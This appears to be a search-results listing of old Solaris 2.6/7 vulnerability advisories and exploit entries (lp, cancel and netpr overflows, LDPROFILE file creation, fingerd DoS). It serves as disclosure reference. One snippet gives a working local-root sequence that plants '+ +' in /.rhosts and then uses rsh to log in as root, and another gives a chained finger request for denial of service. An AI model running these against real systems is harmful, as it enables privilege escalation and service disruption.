215 matches found
Solaris 2.6/7.0 - lp -d Option Buffer Overflow
// source: https://www.securityfocus.com/bid/1143/info A buffer overrun has been discovered in the lp program, as included with Sun's Solaris 7 operating system. By passing well crafted, machine executable code of sufficient length to the -d option of lp, it becomes possible to execute arbitrary...
CVE-1999-0676
sdtcmconvert in Solaris 2.6 allows a local user to overwrite sensitive files via a symlink attack...
CVE-1999-0410
The CVE-1999-0410 entry concerns Solaris 2.6 (i386) where the cancel command triggers a buffer overflow that allows local users to obtain root access. The linked Red Hat, CVE, and EUVD records confirm the same issue and vulnerable component (the cancel command) with root-level impact on that plat...
CVE-1999-0410
The cancel command in Solaris 2.6 i386 has a buffer overflow that allows local users to obtain root access...
solaris_root_exploit.txt
works on solaris 2.6 sparc anyway... ! /bin/ksh LDPROFILE local root exploit for solaris [email protected] 19990922 umask 000 ln -s /.rhosts /var/tmp/ps.profile export LDPROFILE=/usr/bin/ps /usr/bin/ps echo + + /.rhosts rsh -l root localhost csh -i -- 1024/D9C69DF9 steve mynott...
Solaris 2.6 - Profiling File Creation
source: https://www.securityfocus.com/bid/659/info A vulnerability in the dynamic linkers while profiling a shared object allows local users to create arbitrary files in the system. It canno't be used to overwrite existing files. If the LDPROFILE environment variable is defined it instructs the...
fingerd-DoS.txt
Date: Wed, 5 Aug 1998 11:39:02 -0400 From: Fiji Subject: Solaris 2.5.1/2.6 fingerd bug Well it seems that Sun reintroduced the finger forwarding and finger DoS into Solaris 2.5.1 and 2.6. try finger @host@[email protected] times.... This should run the of processes in excess of 1500 and shoot the...
Microsoft Windows 98a98b98SE Solaris 2.6 - IRDP
Microsoft Windows 98a98b98SE Solaris 2.6 - IRDP source: https://www.securityfocus.com/bid/578/info This discussion is verbatim from the LHI Advisory referenced in the "Reference Section" of this vulnerability entry with very few changes The ICMP Router Discovery Protocol IRDP comes enabled by...
Solaris 2.67.08 - netpr Local Buffer Overflow (1)
Solaris 2.67.08 - netpr Local Buffer Overflow 1 // source: https://www.securityfocus.com/bid/1200/info A buffer overrun exists in the 'netpr' program, part of the SUNWpcu LP package included with Solaris, from Sun Microsystems. Versions of netpr on Solaris 2.6 and 7, on both Sparc and x86 have be...
Solaris 2.6/7.0/8 - 'netpr' Local Buffer Overflow (1)
// source: https://www.securityfocus.com/bid/1200/info A buffer overrun exists in the 'netpr' program, part of the SUNWpcu LP package included with Solaris, from Sun Microsystems. Versions of netpr on Solaris 2.6 and 7, on both Sparc and x86 have been confirmed as being vulnerable. The overflow i...
Solaris 7.0 - 'cancel' Local Privilege Escalation
/ source: https://www.securityfocus.com/bid/293/info A buffer overrun condition was discovered in Solaris 2.6 X86 in /usr/bin/cancel. This buffer overflow is apparently present in the SPARC version as well although it is thought to be unexploitable. Previous versions of Solaris did not ship with...
Solaris 2.67.08 - netpr Local Buffer Overflow (2)
Solaris 2.67.08 - netpr Local Buffer Overflow 2 // source: https://www.securityfocus.com/bid/1200/info A buffer overrun exists in the 'netpr' program, part of the SUNWpcu LP package included with Solaris, from Sun Microsystems. Versions of netpr on Solaris 2.6 and 7, on both Sparc and x86 have be...
CVE-1999-1025
CDE screen lock program screenlock on Solaris 2.6 does not properly lock an unprivileged user's console session when the host is an NIS+ client, which allows others with physical access to login with any string...